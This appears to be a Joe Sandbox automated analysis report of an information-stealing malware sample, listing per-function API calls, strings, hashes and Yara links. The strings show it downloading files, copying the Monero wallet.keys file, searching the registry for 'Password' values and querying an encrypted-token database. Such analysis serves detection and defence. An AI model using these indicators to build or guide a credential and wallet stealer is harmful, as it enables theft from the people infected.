Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: image/jpeg
API String ID: 2244384528-3785015651
Opcode ID: c282363f66107a060bfbe554be02330b1a1400976b95b3e8c3835960edd8dfbb
Instruction ID: 953a5bf0164ba51f06886a861845a341d6666f3ef9f6881cd642a8f5b64180a7
Opcode Fuzzy Hash: c282363f66107a060bfbe554be02330b1a1400976b95b3e8c3835960edd8dfbb
Instruction Fuzzy Hash: 3D71EAB5A11208ABDB04DFE4DC89FEEB7B9BF48300F108508F615A7294DB74AA05DB61

Function 006E52C0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 139stringCOMMON

Download Yara Rule

APIs

Part of subcall function 006EA7A0: lstrcpy.KERNEL32(?,00000000), ref: 006EA7E6

Part of subcall function 006D6280: InternetOpenA.WININET(006F0DFE,00000001,00000000,00000000,00000000), ref: 006D62E1
Part of subcall function 006D6280: StrCmpCA.SHLWAPI(?,00E4EAE8), ref: 006D6303
Part of subcall function 006D6280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 006D6335
Part of subcall function 006D6280: HttpOpenRequestA.WININET(00000000,GET,?,00E4E248,00000000,00000000,00400100,00000000), ref: 006D6385
Part of subcall function 006D6280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 006D63BF
Part of subcall function 006D6280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 006D63D1

Part of subcall function 006EA8A0: lstrcpy.KERNEL32(?,006F0E17), ref: 006EA905

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 006E5318
lstrlen.KERNEL32(00000000), ref: 006E532F

Part of subcall function 006E8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 006E8E52

StrStrA.SHLWAPI(00000000,00000000), ref: 006E5364
lstrlen.KERNEL32(00000000), ref: 006E5383
lstrlen.KERNEL32(00000000), ref: 006E53AE

Part of subcall function 006EA740: lstrcpy.KERNEL32(006F0E17,00000000), ref: 006EA788

Strings

ERROR, xrefs: 006E546F
ERROR, xrefs: 006E530A
ERROR, xrefs: 006E5432
ERROR, xrefs: 006E54A9
ERROR, xrefs: 006E53B9

Memory Dump Source

Source File: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3240024479-1526165396
Opcode ID: 12c3526e5ec6f53a2cf4160f0bb15f6ae98a94e0250f3a7dbe7f394e9ae0579d
Instruction ID: 1fdc06e5a780c6105435f7b3ff527fdf1ceacbc400084b576d40174bbb925559
Opcode Fuzzy Hash: 12c3526e5ec6f53a2cf4160f0bb15f6ae98a94e0250f3a7dbe7f394e9ae0579d
Instruction Fuzzy Hash: 0F512E70912288ABDB54FFA1C992AFE377BAF10304F51401CF8065A192EF347B46CB66

Function 006D60A0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 006EA7A0: lstrcpy.KERNEL32(?,00000000), ref: 006EA7E6

Part of subcall function 006D47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 006D4839
Part of subcall function 006D47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 006D4849

InternetOpenA.WININET(006F0DF7,00000001,00000000,00000000,00000000), ref: 006D610F
StrCmpCA.SHLWAPI(?,00E4EAE8), ref: 006D6147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 006D618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 006D61B3
InternetReadFile.WININET(?,?,00000400,?), ref: 006D61DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 006D620A
CloseHandle.KERNEL32(?,?,00000400), ref: 006D6249
InternetCloseHandle.WININET(?), ref: 006D6253
InternetCloseHandle.WININET(00000000), ref: 006D6260

Strings

, xrefs: 006D6139

Memory Dump Source

Source File: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-2740779761
Opcode ID: 13d79e899923d907bcaf511f5694b9a1d4432cef80735fd761be86069b75e409
Instruction ID: 49092855b1f681f66b5d7300f2f71febe6493b38925abcfe6c701c605ff40180
Opcode Fuzzy Hash: 13d79e899923d907bcaf511f5694b9a1d4432cef80735fd761be86069b75e409
Instruction Fuzzy Hash: C8515BB1E11208ABDB20DBA0DC45BEE77BAAB44701F108099F605A72C1DB746F85CF95

Function 006D1310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 006D12A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 006D12B4
Part of subcall function 006D12A0: RtlAllocateHeap.NTDLL(00000000), ref: 006D12BB
Part of subcall function 006D12A0: RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 006D12D7
Part of subcall function 006D12A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 006D12F5
Part of subcall function 006D12A0: RegCloseKey.ADVAPI32(?), ref: 006D12FF

lstrcat.KERNEL32(?,00000000), ref: 006D134F
lstrlen.KERNEL32(?), ref: 006D135C
lstrcat.KERNEL32(?,.keys), ref: 006D1377

Part of subcall function 006EA740: lstrcpy.KERNEL32(006F0E17,00000000), ref: 006EA788

Part of subcall function 006EA9B0: lstrlen.KERNEL32(?,00E491C8,?,\Monero\wallet.keys,006F0E17), ref: 006EA9C5
Part of subcall function 006EA9B0: lstrcpy.KERNEL32(00000000), ref: 006EAA04
Part of subcall function 006EA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 006EAA12

Part of subcall function 006EA8A0: lstrcpy.KERNEL32(?,006F0E17), ref: 006EA905

Part of subcall function 006E8B60: GetSystemTime.KERNEL32(006F0E1A,00E4A900,006F05AE,?,?,006D13F9,?,0000001A,006F0E1A,00000000,?,00E491C8,?,\Monero\wallet.keys,006F0E17), ref: 006E8B86

Part of subcall function 006EA920: lstrcpy.KERNEL32(00000000,?), ref: 006EA972
Part of subcall function 006EA920: lstrcat.KERNEL32(00000000), ref: 006EA982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 006D1465

Part of subcall function 006EA7A0: lstrcpy.KERNEL32(?,00000000), ref: 006EA7E6

Part of subcall function 006D99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 006D99EC
Part of subcall function 006D99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 006D9A11
Part of subcall function 006D99C0: LocalAlloc.KERNEL32(00000040,?), ref: 006D9A31
Part of subcall function 006D99C0: ReadFile.KERNEL32(000000FF,?,00000000,006D148F,00000000), ref: 006D9A5A
Part of subcall function 006D99C0: LocalFree.KERNEL32(006D148F), ref: 006D9A90
Part of subcall function 006D99C0: CloseHandle.KERNEL32(000000FF), ref: 006D9A9A

DeleteFileA.KERNEL32(00000000), ref: 006D14EF

Strings

wallet_path, xrefs: 006D1330
\Monero\wallet.keys, xrefs: 006D138D
SOFTWARE\monero-project\monero-core, xrefs: 006D1335
.keys, xrefs: 006D136B

Memory Dump Source

Source File: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3478931302-218353709
Opcode ID: aae9c854cd7af6929f1602be60cbf2c5f1ca53c17976d484b60163ed613b8e65
Instruction ID: 1c44d07bfdc880669d9bb7c6d9292caaf1b72f2b72446bacb14c80bc0ccfb296
Opcode Fuzzy Hash: aae9c854cd7af6929f1602be60cbf2c5f1ca53c17976d484b60163ed613b8e65
Instruction Fuzzy Hash: EF5157B1D5125857DB55EBA1DC92BEE733E9F50300F41419CB60A62082EE706F85CBAA

Function 006D75D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 006D72D0: RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 006D733A
Part of subcall function 006D72D0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 006D73B1
Part of subcall function 006D72D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 006D740D
Part of subcall function 006D72D0: GetProcessHeap.KERNEL32(00000000,?), ref: 006D7452
Part of subcall function 006D72D0: HeapFree.KERNEL32(00000000), ref: 006D7459

lstrcat.KERNEL32(00000000,006F17FC), ref: 006D7606
lstrcat.KERNEL32(00000000,00000000), ref: 006D7648
lstrcat.KERNEL32(00000000, : ), ref: 006D765A
lstrcat.KERNEL32(00000000,00000000), ref: 006D768F
lstrcat.KERNEL32(00000000,006F1804), ref: 006D76A0
lstrcat.KERNEL32(00000000,00000000), ref: 006D76D3
lstrcat.KERNEL32(00000000,006F1808), ref: 006D76ED
task.LIBCPMTD ref: 006D76FB

Strings

: , xrefs: 006D764E

Memory Dump Source

Source File: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuetask
String ID: :
API String ID: 2677904052-3653984579
Opcode ID: ba50a78ba9b5107bb5f52efdccf1475db8d65903049288b18cf4f032b90c2119
Instruction ID: b9e440ae5db33544dc330d08259017a2091a6b99d40d585e45d8f3aaea58d538
Opcode Fuzzy Hash: ba50a78ba9b5107bb5f52efdccf1475db8d65903049288b18cf4f032b90c2119
Instruction Fuzzy Hash: 58317CB5E1610ADFCB44EBE4DC89DFE737ABB48301B108019F102A7290EA34AD46DB56

Function 006E8100 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,00E4E4A0,00000000,?,006F0E2C,00000000,?,00000000), ref: 006E8130
RtlAllocateHeap.NTDLL(00000000), ref: 006E8137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 006E8158
__aulldiv.LIBCMT ref: 006E8172
__aulldiv.LIBCMT ref: 006E8180
wsprintfA.USER32 ref: 006E81AC

Strings

@, xrefs: 006E814D
%d MB, xrefs: 006E81A3

Memory Dump Source

Source File: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2774356765-3474575989
Opcode ID: ae09cb4dd437b36bb59bbb544841fcd725205c2b863e7d2ba82ddee6ed985482
Instruction ID: f99800b8c83349efa969fe6d5d41bc499ed66600bd06ebd88937223162e69010
Opcode Fuzzy Hash: ae09cb4dd437b36bb59bbb544841fcd725205c2b863e7d2ba82ddee6ed985482
Instruction Fuzzy Hash: 122138B1E45348ABDB00DFD9CC49FAEB7B9FB44B10F104219F605BB280D77869018BA9

Function 006D72D0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 006D733A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 006D73B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 006D740D
GetProcessHeap.KERNEL32(00000000,?), ref: 006D7452
HeapFree.KERNEL32(00000000), ref: 006D7459
task.LIBCPMTD ref: 006D7555

Strings

Password, xrefs: 006D7401

Memory Dump Source

Source File: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuetask
String ID: Password
API String ID: 775622407-3434357891
Opcode ID: fefcbba48f9abdcd2a46e1d3c042c3336a03969cf077ddc19c5d9a662940f621
Instruction ID: ea0e6c826d52b5bc60c6d1cfd62eea3e0139fa8ce4e1b50f842529d24cd1b0b9
Opcode Fuzzy Hash: fefcbba48f9abdcd2a46e1d3c042c3336a03969cf077ddc19c5d9a662940f621
Instruction Fuzzy Hash: 8F612CB5D1416C9BDB24DB50CC45BD9B7B9BF48300F0081EAE649A6241EB706FC9CFA5

Function 006E7690 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 006E76A4
RtlAllocateHeap.NTDLL(00000000), ref: 006E76AB
RegOpenKeyExA.ADVAPI32(80000002,00E3C128,00000000,00020119,00000000), ref: 006E76DD
RegQueryValueExA.ADVAPI32(00000000,00E4E4E8,00000000,00000000,?,000000FF), ref: 006E76FE
RegCloseKey.ADVAPI32(00000000), ref: 006E7708

Strings

, xrefs: 006E76F3
Windows 11, xrefs: 006E76BD

Memory Dump Source

Source File: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11$
API String ID: 3225020163-442948342
Opcode ID: 6bbe9308d8b150fe0dce18417cb0338c077ad4ad46b62d4c9a11a5a152cf1a53
Instruction ID: bca55ce39565abff2353497772b3e4ad531d0cbda8c8c94ee736cd67071464e4
Opcode Fuzzy Hash: 6bbe9308d8b150fe0dce18417cb0338c077ad4ad46b62d4c9a11a5a152cf1a53
Instruction Fuzzy Hash: CF014FB5B19308BBEB00DBE5DC49FF9B7B9EB48701F108094FA0497291E6749E05DB51

Function 006DBA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 006EA740: lstrcpy.KERNEL32(006F0E17,00000000), ref: 006EA788

Part of subcall function 006EA9B0: lstrlen.KERNEL32(?,00E491C8,?,\Monero\wallet.keys,006F0E17), ref: 006EA9C5
Part of subcall function 006EA9B0: lstrcpy.KERNEL32(00000000), ref: 006EAA04
Part of subcall function 006EA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 006EAA12

Part of subcall function 006EA920: lstrcpy.KERNEL32(00000000,?), ref: 006EA972
Part of subcall function 006EA920: lstrcat.KERNEL32(00000000), ref: 006EA982

Part of subcall function 006EA8A0: lstrcpy.KERNEL32(?,006F0E17), ref: 006EA905

Part of subcall function 006EA7A0: lstrcpy.KERNEL32(?,00000000), ref: 006EA7E6

lstrlen.KERNEL32(00000000), ref: 006DBC9F

Part of subcall function 006E8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 006E8E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 006DBCCD
lstrlen.KERNEL32(00000000), ref: 006DBDA5
lstrlen.KERNEL32(00000000), ref: 006DBDB9

Strings

AccountTokens, xrefs: 006DBABA
SELECT service, encrypted_token FROM token_service, xrefs: 006DBBEB
AccountTokens, xrefs: 006DBB49
AccountId, xrefs: 006DBCC4

Memory Dump Source

Source File: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3073930149-1079375795
Opcode ID: 211137146d0beecaaa93967c90247b9cb7d55e7e9fc7a5ceeb78d94556deee32
Instruction ID: 0dddff7aea84648cb2f60b389d53ccc017e6e9b8d2a746484b21e2d978138c54
Opcode Fuzzy Hash: 211137146d0beecaaa93967c90247b9cb7d55e7e9fc7a5ceeb78d94556deee32
Instruction Fuzzy Hash: EBB162719122489BDB44EBE1DC96EEE733BAF14300F41412DF506A6192EF347E49CB6A

